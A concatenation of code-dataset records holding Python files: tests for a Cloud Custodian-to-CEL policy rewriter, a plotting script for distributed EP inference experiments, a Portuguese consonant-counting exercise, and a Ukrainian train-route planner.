[call(str(sentinel.rewritten), \"__absent__\", None)]\n\n\ndef test_type_value_rewrite_emptu(mock_key_to_cel, mock_value_to_cel):\n clause = {\"key\": \"key\", \"value\": \"empty\"}\n assert C7N_Rewriter.type_value_rewrite(sentinel.resource, clause) == str(sentinel.rewritten)\n assert mock_key_to_cel.mock_calls == [call(\"key\")]\n assert mock_value_to_cel.mock_calls == [call(str(sentinel.rewritten), \"__absent__\", None)]\n\ndef test_primitive_value(mock_type_value_rewrite):\n assert C7N_Rewriter.primitive(sentinel.resource, {\"type\": \"value\"}) == str(sentinel.rewritten)\n assert mock_type_value_rewrite.mock_calls == [call(sentinel.resource, {'type': 'value'})]\n\n\ndef test_type_value_from_rewrite(mock_key_to_cel, mock_value_from_to_cel):\n clause = {\"key\": \"key\", \"op\": \"in\", \"value_from\": {\"url\": \"url\"}}\n assert C7N_Rewriter.type_value_rewrite(sentinel.resource, clause) == str(sentinel.rewritten)\n assert mock_key_to_cel.mock_calls == [call(\"key\")]\n assert mock_value_from_to_cel.mock_calls == [\n call(str(sentinel.rewritten), \"in\", {\"url\": \"url\"})\n ]\n\n\ndef test_type_value_rewrite_error(mock_key_to_cel):\n clause = {\"key\": \"key\", \"op\": \"in\", \"nope\": {\"url\": \"url\"}}\n with raises(ValueError):\n C7N_Rewriter.type_value_rewrite(sentinel.resource, clause)\n clause = {\"key\": \"key\", \"value\": \"nope\"}\n with raises(ValueError):\n C7N_Rewriter.type_value_rewrite(sentinel.resource, clause)\n\n\ndef test_value_from_to_cel():\n value_from_1 = {\"url\": \"url://path\"}\n expected_1 = 'value_from(\"url://path\").contains(key)'\n assert C7N_Rewriter.value_from_to_cel(\"key\", \"in\", value_from_1) == expected_1\n\n value_from_2 = {\"url\": \"url://path\", \"format\": \"json\"}\n expected_2 = 'value_from(\"url://path\", \"json\").contains(key)'\n assert C7N_Rewriter.value_from_to_cel(\"key\", \"in\", value_from_2) == expected_2\n\n value_from_3 = {\"url\": \"url://path\", \"expr\": \"jmespath\"}\n expected_3 = 'value_from(\"url://path\").jmes_path(\\'jmespath\\').contains(key)'\n assert C7N_Rewriter.value_from_to_cel(\"key\", \"in\", value_from_3) == expected_3\n\n value_from_4 = {\"url\": \"url://path\", \"expr\": \"jmespath\"}\n expected_4 = 'value_from(\"url://path\").jmes_path(\\'jmespath\\').contains(key)'\n assert C7N_Rewriter.value_from_to_cel(\"key\", None, value_from_4) == expected_4\n\n\ndef test_value_to_cel_boolean():\n assert C7N_Rewriter.value_to_cel(\"key\", \"eq\", \"true\") == \"key\"\n assert C7N_Rewriter.value_to_cel(\"key\", \"eq\", True) == \"key\"\n assert C7N_Rewriter.value_to_cel(\"key\", \"eq\", \"false\") == \"! key\"\n assert C7N_Rewriter.value_to_cel(\"key\", \"eq\", False) == \"! key\"\n assert C7N_Rewriter.value_to_cel(\"key\", \"ne\", \"true\") == \"! key\"\n assert C7N_Rewriter.value_to_cel(\"key\", \"ne\", True) == \"! key\"\n assert C7N_Rewriter.value_to_cel(\"key\", \"ne\", \"false\") == \"key\"\n assert C7N_Rewriter.value_to_cel(\"key\", \"ne\", False) == \"key\"\n with raises(ValueError):\n C7N_Rewriter.value_to_cel(\"key\", \"nope\", \"true\")\n\n\ndef test_value_to_cel_non_bool():\n assert (\n C7N_Rewriter.value_to_cel(\"key\", \"eq\", \"some_string\") == 'key == \"some_string\"'\n )\n assert (\n C7N_Rewriter.value_to_cel(\"key\", \"gt\", 42) == 'key > 42'\n )\n assert (\n C7N_Rewriter.value_to_cel(\"key\", \"gt\", 42, value_type=\"age\")\n == 'Now - duration(3628800) > timestamp(key)'\n )\n assert (\n C7N_Rewriter.value_to_cel(\"key\", \"gt\", 42, value_type=\"integer\") == 'int(key) > 42'\n )\n assert (\n C7N_Rewriter.value_to_cel(\"key\", \"gt\", 42, value_type=\"expiration\")\n == 'timestamp(key) > Now + duration(3628800)'\n )\n assert (\n C7N_Rewriter.value_to_cel(\"key\", \"eq\", \"some_string\", value_type=\"normalize\")\n == 'normalize(key) == \"some_string\"'\n )\n assert (\n C7N_Rewriter.value_to_cel(\"key\", \"gt\", 42, value_type=\"size\") == 'size(key) > 42'\n )\n assert (\n C7N_Rewriter.value_to_cel(\"key\", \"ne\", \"127.0.0.1/22\", value_type=\"cidr\")\n == 'parse_cidr(key) != parse_cidr(\"127.0.0.1/22\")'\n )\n assert (\n C7N_Rewriter.value_to_cel(\"key\", \"gt\", \"127.0.0.1/22\", value_type=\"cidr_size\")\n == 'size_parse_cidr(key) > \"127.0.0.1/22\"'\n )\n assert (\n C7N_Rewriter.value_to_cel(\"key\", \"eq\", \"some_string\", value_type=\"swap\")\n == '\"some_string\" == key'\n )\n assert (\n C7N_Rewriter.value_to_cel(\"key\", \"gt\", 42, value_type=\"unique_size\")\n == 'unique_size(key) > 42'\n )\n assert (\n C7N_Rewriter.value_to_cel(\"key\", \"gt\", 42, value_type=\"date\")\n == 'timestamp(key) > timestamp(42)'\n )\n assert (\n C7N_Rewriter.value_to_cel(\"key\", \"gt\", \"3.8.5\", value_type=\"version\")\n == 'version(key) > version(\"3.8.5\")'\n )\n\n\ndef test_key_to_cel():\n assert (\n C7N_Rewriter.key_to_cel(\"length(key)\") == 'size(Resource[\"key\"])'\n )\n assert (\n C7N_Rewriter.key_to_cel(\"Key.Subkey\") == 'Resource[\"Key\"][\"Subkey\"]'\n )\n assert (\n C7N_Rewriter.key_to_cel(\"tag:TagName\")\n == 'Resource[\"Tags\"].filter(x, x[\"Key\"] == \"TagName\")[0][\"Value\"]'\n )\n assert (\n C7N_Rewriter.key_to_cel(\"key\") == 'Resource[\"key\"]'\n )\n\n\ndef test_marked_for_op_rewrite(mock_key_to_cel):\n clause = {\"op\": \"terminate\", \"skew\": 4, \"tag\": \"c7n-tag-compliance\", \"type\": \"marked-for-op\"}\n expected = (\n 'Resource[\"Tags\"].marked_key(\"c7n-tag-compliance\").action == \"terminate\" '\n '&& Now >= Resource[\"Tags\"].marked_key(\"c7n-tag-compliance\").action_date '\n '- duration(\"4d0h\")'\n )\n assert C7N_Rewriter.type_marked_for_op_rewrite(sentinel.resource, clause) == expected\n\n\ndef test_primitive_mark_for_op(mock_type_marked_for_op_rewrite):\n assert C7N_Rewriter.primitive(sentinel.resource, {\"type\": \"marked-for-op\"}) == str(sentinel.rewritten)\n assert mock_type_marked_for_op_rewrite.mock_calls == [call(sentinel.resource, {'type': 'marked-for-op'})]\n\n\ndef test_image_age_rewrite():\n clause = {\"days\": 60, \"op\": \"gt\", \"type\": \"image-age\"}\n expected = (\n 'Now - Resource.image().CreationDate > duration(\"60d\")'\n )\n assert C7N_Rewriter.type_image_age_rewrite(sentinel.resource, clause) == expected\n\n\ndef test_primitive_image_age(mock_type_image_age_rewrite):\n assert C7N_Rewriter.primitive(sentinel.resource, {\"type\": \"image-age\"}) == str(sentinel.rewritten)\n assert mock_type_image_age_rewrite.mock_calls == [call(sentinel.resource, {'type': 'image-age'})]\n\n\ndef test_event_rewrite():\n clause = {\n \"key\": \"detail.responseElements.functionName\", \"op\": \"regex\", \"type\": \"event\",\n \"value\": \"^(custodian-.*)\"\n }\n expected = (\n 'Event.detail.responseElements.functionName.matches(\"^(custodian-.*)\")'\n )\n assert C7N_Rewriter.type_event_rewrite(sentinel.resource, clause) == expected\n\n\ndef test_primitive_event(mock_type_event_rewrite):\n assert C7N_Rewriter.primitive(sentinel.resource, {\"type\": \"event\"}) == str(sentinel.rewritten)\n assert mock_type_event_rewrite.mock_calls == [call(sentinel.resource, {'type': 'event'})]\n\n\ndef test_metrics_rewrite_simple():\n clause = {\n \"type\": \"metrics\",\n \"name\": \"CPUUtilization\",\n \"days\": 4,\n \"period\": 86400,\n \"value\": 30,\n \"op\": \"less-than\",\n }\n expected = (\n 'Resource.get_metrics('\n '{\"MetricName\": \"CPUUtilization\", \"Statistic\": \"Average\", '\n '\"StartTime\": Now - duration(\"4d\"), \"EndTime\": Now, \"Period\": duration(\"86400s\")})'\n '.exists(m, m < 30)'\n )\n assert C7N_Rewriter.type_metrics_rewrite(sentinel.resource, clause) == expected\n\n\ndef test_metrics_rewrite_missing_value():\n clause = {\n \"type\": \"metrics\",\n \"name\": \"RequestCount\",\n \"statistics\": \"Sum\",\n \"days\": 7,\n \"value\": 7,\n \"op\": \"less-than\",\n \"missing-value\": 0,\n }\n expected = (\n 'Resource.get_metrics('\n '{\"MetricName\": \"RequestCount\", \"Statistic\": \"Sum\", '\n '\"StartTime\": Now - duration(\"7d\"), \"EndTime\": Now, \"Period\": duration(\"604800s\")})'\n '.map(m, m == null ? 0 : m)'\n '.exists(m, m < 7)'\n )\n assert C7N_Rewriter.type_metrics_rewrite(sentinel.resource, clause) == expected\n\ndef test_age_rewrite():\n clause = {\"days\": 21, \"op\": \"gt\", \"type\": \"age\"}\n expected = (\n 'Now - timestamp(Resource.StartTime) > duration(\"21d\")'\n )\n assert C7N_Rewriter.type_age_rewrite(\"ebs-snapshot\", clause) == expected\n\ndef test_security_group_rewrite():\n clause_0 = {\n \"key\": \"GroupId\", \"op\": \"in\", \"type\": \"security-group\",\n \"value\": [\"sg-12345678\", \"sg-23456789\", \"sg-34567890\"]\n }\n expected = 'Resource.SecurityGroups.map(sg. sg.GroupId.security_group()).exists(sg, [\\'sg-12345678\\', \\'sg-23456789\\', \\'sg-34567890\\'].contains(sg[\"GroupId\"]))'\n assert C7N_Rewriter.type_security_group_rewrite(\"ec2\", clause_0) == expected\n\n clause_1 = {\n \"key\": \"GroupName\", \"op\": \"regex\", \"type\": \"security-group\",\n \"value\": \"^Enterprise-AllInstances-SG.*$\"}\n expected = 'Resource.SecurityGroups.map(sg. sg.GroupId.security_group()).exists(sg, sg[\"GroupName\"].matches(\\'^Enterprise-AllInstances-SG.*$\\'))'\n assert C7N_Rewriter.type_security_group_rewrite(\"ec2\", clause_1) == expected\n\n clause_2 = {\"key\": \"tag:ASSET\", \"op\": \"eq\", \"type\": \"security-group\", \"value\": \"SPECIALASSETNAME\"}\n expected = 'Resource.SecurityGroups.map(sg. sg.GroupId.security_group()).exists(sg, sg[\"Tags\"].filter(x, x[\"Key\"] == \"ASSET\")[0][\"Value\"] == \\'SPECIALASSETNAME\\')'\n assert C7N_Rewriter.type_security_group_rewrite(\"ec2\", clause_2) == expected\n\n\ndef test_subnet_rewrite():\n clause_0 = {\n \"key\": \"SubnetId\", \"op\": \"in\", \"type\": \"subnet-group\",\n \"value_from\": {\"format\": \"txt\", \"url\": \"s3://path-to-resource/subnets.txt\"},\n \"value_type\": \"normalize\",\n }\n expected = 'value_from(\"s3://path-to-resource/subnets.txt\", \"txt\").map(v, normalize(v)).contains(Resource.SubnetId.subnet().SubnetID)'\n assert C7N_Rewriter.type_subnet_rewrite(\"asg\", clause_0) == expected\n\n\ndef test_flow_logs_rewrite():\n clause_0 = {\n \"enabled\": False, \"type\": \"flow-logs\",\n }\n expected = 'size(Resource.flow_logs()) == 0'\n assert C7N_Rewriter.type_flow_log_rewrite(\"vpc\", clause_0) == expected\n\n clause_1 = {\n \"enabled\": \"true\", \"type\": \"flow-logs\", \"destination-type\": \"s3\",\n }\n expected = 'size(Resource.flow_logs()) != 0 && (Resource.flow_logs().LogDestinationType == \"s3\")'\n assert C7N_Rewriter.type_flow_log_rewrite(\"vpc\", clause_1) == expected\n\n clause_2 = {'type': 'flow-logs', 'enabled': True,\n 'set-op': 'or', 'op': 'equal', 'traffic-type': 'all', 'status': 'active',\n 'log-group': 'vpc-logs'}\n expected = 'size(Resource.flow_logs()) != 0 && (Resource.flow_logs().LogGroupName == \"vpc-logs\" || Resource.flow_logs().TrafficType == \"ALL\" || Resource.flow_logs().FlowLogStatus == \"active\")'\n assert C7N_Rewriter.type_flow_log_rewrite(\"vpc\", clause_2) == expected\n\n clause_3 = {'type': 'flow-logs', 'enabled': True,\n \"log-format\": \"this\", \"destination\": \"that\", \"deliver-status\": \"the-other-thing\"}\n expected = 'size(Resource.flow_logs()) != 0 && (Resource.flow_logs().LogFormat == \"this\" || Resource.flow_logs().LogDestination == \"that\" || Resource.flow_logs().DeliverLogsStatus == \"the-other-thing\")'\n assert C7N_Rewriter.type_flow_log_rewrite(\"vpc\", clause_3) == expected\n","sub_path":"tests/test_c7n_to_cel.py","file_name":"test_c7n_to_cel.py","file_ext":"py","file_size_in_byte":17721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"91929011","text":"\"\"\"Plot the results of the experiment from a result files.\n\nExecute with:\n $ python plot_res.py [, []]\n\nThe optional can be used to select the distributed method results\n(EP and consensus) from file\n ...___.npz\nwhile the true values, target values, and full method values are still obtained\nfrom\n ...__.npz\nIf is omitted, the same file ending is used also for distributed\nresults. If also is omitted, no file ending are used.\n\nThe most recent version of the code can be found on GitHub:\nhttps://github.com/gelman/ep-stan\n\n\"\"\"\n\n# Licensed under the 3-clause BSD license.\n# http://opensource.org/licenses/BSD-3-Clause\n#\n# Copyright (C) 2014 Tuomas Sivula\n# All rights reserved.\n\n\nimport os\nimport re\n\nimport numpy as np\nfrom scipy.linalg import cho_factor, cho_solve\nfrom scipy import stats\nimport matplotlib.pyplot as plt\n\n\n# Get the results directory\nCUR_PATH = os.path.dirname(os.path.abspath(__file__))\nRES_PATH = os.path.join(CUR_PATH, 'results')\n\n\ndef kl_mvn(m0, S0, m1, S1, sum_log_diag_cho_S0=None):\n \"\"\"Calculate KL-divergence for multiv normal distributions\n\n Calculates KL(p||q), where p ~ N(m0,S0) and q ~ N(m1,S1). Optional argument\n sum_log_diag_cho_S0 is precomputed sum(log(diag(cho(S0))).\n\n \"\"\"\n choS1 = cho_factor(S1)\n if sum_log_diag_cho_S0 is None:\n sum_log_diag_cho_S0 = np.sum(np.log(np.diag(cho_factor(S0)[0])))\n dm = m1-m0\n KL_div = (\n 0.5*(\n np.trace(cho_solve(choS1, S0))\n + dm.dot(cho_solve(choS1, dm))\n - len(m0)\n )\n - sum_log_diag_cho_S0 + np.sum(np.log(np.diag(choS1[0])))\n )\n return KL_div\n\n\ndef compare_plot(a, b, a_err=None, b_err=None, a_label=None, b_label=None,\n ax=None):\n \"\"\"Compare values of `a` in the ones in `b`.\"\"\"\n # Ensure arrays\n a = np.asarray(a)\n b = np.asarray(b)\n\n # Plot into new axes or to the given one\n if ax is None:\n fig = plt.figure()\n ax = plt.axes()\n\n # Plot basics\n ax.plot(b, a, 'bo')[0].get_axes()\n\n # Set common axis limits\n limits = (min(ax.get_xlim()[0], ax.get_ylim()[0]),\n max(ax.get_xlim()[1], ax.get_ylim()[1]))\n ax.set_xlim(limits)\n ax.set_ylim(limits)\n\n # Plot diagonal\n ax.plot(limits, limits, 'r-')\n\n # Plot optional error bars\n if not a_err is None:\n a_err = np.asarray(a_err)\n if len(a_err.shape) == 2:\n a_p = a_err[0]\n a_m = a_err[1]\n else:\n a_p = a_err\n a_m = a_err\n ax.plot(np.tile(b, (2,1)), np.vstack((a+a_p, a-a_m)), 'b-')\n if not b_err is None:\n b_err = np.asarray(b_err)\n if len(b_err.shape) == 2:\n b_p = b_err[0]\n b_m = b_err[1]\n else:\n b_p = b_err\n b_m = b_err\n ax.plot(np.vstack((b+b_p, b-b_m)), np.tile(a, (2,1)), 'b-')\n\n # Optional labels\n if not a_label is None:\n ax.set_ylabel(a_label)\n if not b_label is None:\n ax.set_xlabel(b_label)\n\n return ax\n\n\ndef plot_results(model_name, model_id=None):\n \"\"\"Plot some results.\"\"\"\n\n # -------------\n # load data\n # -------------\n\n # Handle optional model id\n if model_id:\n file_ending = model_name + '_' + model_id\n else:\n file_ending = model_name\n\n # check all res_d_-files\n ep_filenames = tuple(filter(\n lambda filename: re.fullmatch(\n 'res_d_{}.*\\.npz'.format(file_ending),\n filename\n ),\n os.listdir('results')\n ))\n # check all res_c_-files\n cons_filenames = tuple(filter(\n lambda filename: re.fullmatch(\n 'res_c_{}.*\\.npz'.format(file_ending),\n filename\n ),\n os.listdir('results')\n ))\n\n # Load true values\n true_vals_file = np.load(\n os.path.join(RES_PATH, 'true_vals_{}.npz'.format(file_ending)))\n pnames = ['phi']\n pnames.extend(true_vals_file['pnames'])\n true_vals = [true_vals_file[par] for par in pnames]\n true_vals_file.close()\n\n # Load target file\n target_file = np.load(\n os.path.join(RES_PATH, 'target_{}.npz'.format(file_ending)))\n m_target = target_file['m_target']\n S_target = target_file['S_target']\n target_file.close()\n # Load target samples if found\n target_samp_file_path = os.path.join(\n RES_PATH, 'target_samp_{}.npz'.format(file_ending))\n if os.path.exists(target_samp_file_path):\n target_samp_file = np.load(target_samp_file_path)\n samp_target = target_samp_file['samp_target']\n target_samp_file.close()\n else:\n samp_target = None\n\n # Load EP result file\n m_s_ep_s = []\n S_s_ep_s = []\n time_s_ep_s = []\n mstepsize_s_ep_s = []\n mrhat_s_ep_s = []\n for res_d_file_name in ep_filenames:\n res_d_file = np.load(\n os.path.join(RES_PATH, res_d_file_name))\n m_s_ep_s.append(res_d_file['m_s_ep'])\n S_s_ep_s.append(res_d_file['S_s_ep'])\n time_s_ep_s.append(res_d_file['time_s_ep'])\n mstepsize_s_ep_s.append(res_d_file['mstepsize_s_ep'])\n mrhat_s_ep_s.append(res_d_file['mrhat_s_ep'])\n if 'm_phi_ep' in res_d_file.files:\n mix = True\n res_d = [\n ( res_d_file['m_'+par],\n ( res_d_file['v_'+par+'_ep']\n if par != 'phi' else\n np.diag(res_d_file['S_'+par+'_ep'])\n )\n )\n for par in pnames\n ]\n else:\n mix = False\n res_d_file.close()\n\n # Load full result file\n res_f_file = np.load(\n os.path.join(RES_PATH, 'res_f_{}.npz'.format(file_ending)))\n m_s_full = res_f_file['m_s_full']\n S_s_full = res_f_file['S_s_full']\n time_s_full = res_f_file['time_s_full']\n mstepsize_s_full = res_f_file['mstepsize_s_full']\n mrhat_s_full = res_f_file['mrhat_s_full']\n res_f_file.close()\n\n # Load consensus result file\n m_s_cons_s = []\n S_s_cons_s = []\n time_s_cons_s = []\n mstepsize_s_cons_s = []\n mrhat_s_cons_s = []\n for res_c_file_name in cons_filenames:\n res_c_file = np.load(\n os.path.join(RES_PATH, res_c_file_name))\n m_s_cons_s.append(res_c_file['m_s_cons'])\n S_s_cons_s.append(res_c_file['S_s_cons'])\n time_s_cons_s.append(res_c_file['time_s_cons'])\n mstepsize_s_cons_s.append(res_c_file['mstepsize_s_cons'])\n mrhat_s_cons_s.append(res_c_file['mrhat_s_cons'])\n res_c_file.close()\n\n # ---------\n # plots\n # ---------\n\n dphi = m_target.shape[0]\n\n # Ravel params if necessary\n for pi in range(1,len(pnames)):\n if true_vals[pi].ndim != 1:\n true_vals[pi] = true_vals[pi].ravel()\n if mix:\n res_d[pi] = (res_d[pi][0].ravel(), res_d[pi][1].ravel())\n\n # Plot approx KL-divergence and MSE\n sum_log_diag_cho_S0 = np.sum(np.log(np.diag(cho_factor(S_target)[0])))\n # EP\n mse_ep_s = []\n kl_ep_s = []\n for m_s_ep, S_s_ep in zip(m_s_ep_s, S_s_ep_s):\n mse_ep = np.mean((m_s_ep - m_target)**2, axis=1)\n kl_ep = np.empty(len(m_s_ep))\n for i in range(len(m_s_ep)):\n kl_ep[i] = kl_mvn(\n m_target, S_target, m_s_ep[i], S_s_ep[i], sum_log_diag_cho_S0)\n mse_ep_s.append(mse_ep)\n kl_ep_s.append(kl_ep)\n # full\n mse_full = np.mean((m_s_full - m_target)**2, axis=1)\n kl_full = np.empty(len(m_s_full))\n for i in range(len(m_s_full)):\n kl_full[i] = kl_mvn(\n m_target, S_target, m_s_full[i], S_s_full[i], sum_log_diag_cho_S0)\n # consensus\n mse_cons_s = []\n kl_cons_s = []\n for m_s_cons, S_s_cons in zip(m_s_cons_s, S_s_cons_s):\n mse_cons = np.mean((m_s_cons - m_target)**2, axis=1)\n kl_cons = np.empty(len(m_s_cons))\n for i in range(len(m_s_cons)):\n kl_cons[i] = kl_mvn(\n m_target, S_target, m_s_cons[i], S_s_cons[i], sum_log_diag_cho_S0)\n mse_cons_s.append(mse_cons)\n kl_cons_s.append(kl_cons)\n\n # iteration as x-axis\n fig, axes = plt.subplots(1, 2)\n ax = axes[0]\n for mse_ep, fname in zip(mse_ep_s, ep_filenames):\n ax.plot(np.arange(len(mse_ep)), mse_ep, label=fname)\n ax.plot(np.arange(len(m_s_full)), mse_full, label='full')\n for mse_cons, fname in zip(mse_cons_s, cons_filenames):\n ax.plot(np.arange(len(mse_cons)), mse_cons, label=fname)\n ax.set_xlabel('iter')\n ax.set_ylabel('MSE')\n ax = axes[1]\n for kl_ep, fname in zip(kl_ep_s, ep_filenames):\n ax.plot(np.arange(len(kl_ep)), kl_ep, label=fname)\n ax.plot(np.arange(len(m_s_full)), kl_full, label='full')\n for kl_cons, fname in zip(kl_cons_s, cons_filenames):\n ax.plot(np.arange(len(kl_cons)), kl_cons, label=fname)\n ax.legend(loc='center left', bbox_to_anchor=(1, 0.5))\n ax.set_xlabel('iter')\n ax.set_ylabel('KL')\n fig.tight_layout()\n fig.subplots_adjust(right=0.85)\n\n # time as x-axis\n fig, axes = plt.subplots(1, 2)\n ax = axes[0]\n ax.set_yscale('log')\n for mse_ep, time_s_ep, fname in zip(mse_ep_s, time_s_ep_s, ep_filenames):\n ax.plot(time_s_ep/60, mse_ep, label=fname)\n ax.plot(time_s_full/60, mse_full, label='full')\n for mse_cons, time_s_cons, fname in zip(\n mse_cons_s, time_s_cons_s, cons_filenames):\n ax.plot(time_s_cons/60, mse_cons, label=fname)\n ax.set_xlabel('time (min)')\n ax.set_ylabel('MSE')\n ax = axes[1]\n ax.set_yscale('log')\n for kl_ep, time_s_ep, fname in zip(kl_ep_s, time_s_ep_s, ep_filenames):\n ax.plot(time_s_ep/60, kl_ep, label=fname)\n ax.plot(time_s_full/60, kl_full, label='full')\n for kl_cons, time_s_cons, fname in zip(\n kl_cons_s, time_s_cons_s, cons_filenames):\n ax.plot(time_s_cons/60, kl_cons, label=fname)\n ax.legend(loc='center left', bbox_to_anchor=(1, 0.5))\n ax.set_xlabel('time (min)')\n ax.set_ylabel('KL')\n fig.tight_layout()\n fig.subplots_adjust(right=0.85)\n\n # # Plot log-likelihood\n # if samp_target is not None:\n # # EP\n # ll_ep_s = []\n # for m_s_ep, S_s_ep in zip(m_s_ep_s, S_s_ep_s):\n # ll_ep = np.zeros(len(m_s_ep))\n # ll_ep_s.append(ll_ep)\n # for i in range(len(m_s_ep)):\n # ll_ep[i] = np.sum(stats.multivariate_normal.logpdf(\n # samp_target, mean=m_s_ep[i], cov=S_s_ep[i]))\n # # full\n # ll_full = np.zeros(len(m_s_full))\n # for i in range(len(m_s_full)):\n # ll_full[i] = np.sum(stats.multivariate_normal.logpdf(\n # samp_target, mean=m_s_full[i], cov=S_s_full[i]))\n # # cons\n # ll_cons_s = []\n # for m_s_cons, S_s_cons in zip(m_s_cons_s, S_s_cons_s):\n # ll_cons = np.zeros(len(m_s_cons))\n # ll_cons_s.append(ll_cons)\n # for i in range(len(m_s_cons)):\n # ll_cons[i] = np.sum(stats.multivariate_normal.logpdf(\n # samp_target, mean=m_s_cons[i], cov=S_s_cons[i]))\n # # plot\n # fig, ax = plt.subplots(1, 1)\n # for ll_ep, time_s_ep, fname in zip(ll_ep_s, time_s_ep_s, ep_filenames):\n # ax.plot(time_s_ep, ll_ep, label=fname)\n # ax.plot(time_s_full, ll_full, label='full')\n # for ll_cons, time_s_cons, fname in zip(\n # ll_cons_s, time_s_cons_s, cons_filenames):\n # ax.plot(time_s_cons, ll_cons, label=fname)\n # ax.set_ylabel('log-likelihood')\n # ax.set_xlabel('time (min)')\n # ax.legend()\n\n # # Plot mean and variance as a function of the iteration\n # fig, axs = plt.subplots(2, 1, sharex=True)\n # axs[0].set_xlim([0,niter-1])\n # fig.subplots_adjust(hspace=0.1)\n # if mix:\n # # TODO\n # pass\n # else:\n # axs[0].plot(np.arange(niter), m_s_ep)\n # axs[1].plot(\n # np.arange(niter),\n # np.sqrt(np.diagonal(S_s_ep, axis1=1, axis2=2))\n # )\n # axs[0].set_ylabel('Mean of $\\phi$')\n # axs[1].set_ylabel('Std of $\\phi$')\n # axs[1].set_xlabel('Iteration')\n #\n # if mix:\n # # Plot compare plots for every variable\n # # TODO\n # pass\n #\n # else:\n # # Plot compare plots for phi\n # fig, axs = plt.subplots(1, 2, figsize=(11, 5))\n # fig.subplots_adjust(left=0.08, right=0.94)\n # fig.suptitle('phi')\n # # Mean\n # compare_plot(\n # m_s_full, m_s_ep[-1],\n # a_label='full',\n # b_label='epstan',\n # ax=axs[0]\n # )\n # axs[0].set_title('mean')\n # # Var\n # compare_plot(\n # np.diag(S_s_full), np.diag(S_s_ep[-1]),\n # a_label='full',\n # b_label='epstan',\n # ax=axs[1]\n # )\n # axs[1].set_title('var')\n\n plt.show()\n\n\nif __name__ == '__main__':\n if len(os.sys.argv) > 1 and len(os.sys.argv) < 5:\n plot_results(*os.sys.argv[1:])\n else:\n raise TypeError(\"Provide the model name as command line argument\")\n","sub_path":"experiment/plot_res.py","file_name":"plot_res.py","file_ext":"py","file_size_in_byte":13129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"356737665","text":"'''\nFaça um Programa que leia um vetor de 10 caracteres, e diga quantas consoantes\nforam lidas. Imprima as consoantes.\n'''\n\nquantidade = 0\n\ncaracteres = []\n\nfor i in range(10):\n caractere = input('Digite uma letra: ')\n caracteres.append(caractere)\n\nfor j in caracteres:\n if not (j == 'a' or j == 'e' or j == 'i' or j == 'o' or j == 'u'):\n quantidade += 1\n print(j, end=' ')\n\nprint('')\n\nprint('Quantidade de consoantes: {}'.format(quantidade))\n","sub_path":"4 - ExercíciosComListas/Gabaritos/04 - caracteres.py","file_name":"04 - caracteres.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"582475157","text":"# This is main executive function\r\n# Just press RUN\r\n# Copyright Yaroslav Halonko, Ukrainian Catholic University\r\n\r\n\r\nfrom main_fold.stations_data.regions import LvivRegion, SouthRegion, \\\r\n SouthWestRegion, OdessaRegion, DnieperRegion, CrossRoute\r\nfrom main_fold.input.input_data import get_input\r\nfrom main_fold.return_class.returning import *\r\nfrom main_fold.time_class.time_data import CurTime\r\n\r\n\r\ndef main_route(input_tuple, curtime, result, start='Київ'):\r\n \"\"\"\r\n Mail recursive function, creates all routes\r\n :param input_tuple: gets a main city and list of regions\r\n that user wishes to visit\r\n :param curtime: time of arrival\r\n :param result: Result() class instance\r\n :param start:\r\n :return: Resulting list of all routes\r\n \"\"\"\r\n\r\n place, deep = input_tuple\r\n currtime = curtime\r\n curr_region = check_region(place)\r\n stations = make_st_list(curr_region.name)\r\n nexts = make_st_list(stations.BREAKPOINTS[1])\r\n\r\n deep = check_route_deep(deep, stations)\r\n\r\n next_city = nexts.BREAKPOINTS[0]\r\n\r\n if not deep:\r\n if stations.array()[1].station_name() == start:\r\n stations.get_to_another_city(place, next_city, currtime, stations)\r\n return result\r\n next_city, new_date, result = \\\r\n stations.get_to_another_city(place, next_city,\r\n currtime, stations)\r\n return main_route((next_city, deep), new_date, result, start)\r\n else:\r\n if curr_region.name == deep[0]:\r\n new_date, result = create_reg_route(curr_region.name, currtime,\r\n result)\r\n new_date.day = new_date.day + 1\r\n if stations.array()[1].st_name == start:\r\n stations.get_to_another_city(place, next_city, new_date,\r\n stations)\r\n return result\r\n else:\r\n next_city, new_date, result = \\\r\n stations.get_to_another_city(place, next_city,\r\n new_date, stations)\r\n del deep[0]\r\n\r\n return main_route((next_city, deep), new_date, result, start)\r\n else:\r\n # Creating a route between two main cities\r\n next_city, new_date, result = \\\r\n stations.get_to_another_city(place, next_city,\r\n currtime, stations)\r\n return main_route((next_city, deep), new_date, result, start)\r\n\r\n\r\ndef create_reg_route(region, times, result):\r\n \"\"\"\r\n\r\n :param region: CurrRegion instance\r\n :param times: CurTime() instance\r\n :param result: Result()\r\n :return: new CurTime instance,\r\n updated Return() instance\r\n \"\"\"\r\n reg = check_region(region)\r\n reg.get_stations(reg.BREAKPOINTS)\r\n return reg.region_across(times, result)\r\n\r\n\r\ndef make_st_list(start):\r\n \"\"\"\r\n :param start: name of start region\r\n :return: returns CrossRoute instance\r\n with sorted list sequence\r\n \"\"\"\r\n route = CrossRoute(start)\r\n route.get_all_stations()\r\n return route\r\n\r\n\r\ndef check_route_deep(deep, m_route):\r\n \"\"\"\r\n :param deep: list of regions to be\r\n observed better\r\n :param m_route: Main route class\r\n :return: sorted list of regions\r\n user wants to go across\r\n \"\"\"\r\n result = []\r\n for i in m_route.array():\r\n for j in deep:\r\n if i.station_name() == j:\r\n result.append(i.station_name())\r\n else:\r\n continue\r\n return result\r\n\r\n\r\ndef check_region(region_center):\r\n \"\"\"\r\n :param region_center: name of city\r\n :return: Current region instance\r\n \"\"\"\r\n if region_center == 'Львів':\r\n return LvivRegion()\r\n if region_center == 'Київ':\r\n return SouthWestRegion()\r\n if region_center == 'Харків':\r\n return SouthRegion()\r\n if region_center == 'Одеса':\r\n return OdessaRegion()\r\n if region_center == 'Запоріжжя':\r\n return DnieperRegion()\r\n\r\n\r\ndef main():\r\n \"\"\"\r\n The main function to run the project\r\n :return: List of defaultdict objects,\r\n all routes together\r\n \"\"\"\r\n result = Return()\r\n start = get_input()\r\n result = main_route(start, CurTime(), result, start[0])\r\n return result\r\n\r\n\r\nmain()\r\n","sub_path":"httplib2/build/lib/httplib2/route_maker.py","file_name":"route_maker.py","file_ext":"py","file_size_in_byte":4380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"614908728","text":"import numpy as 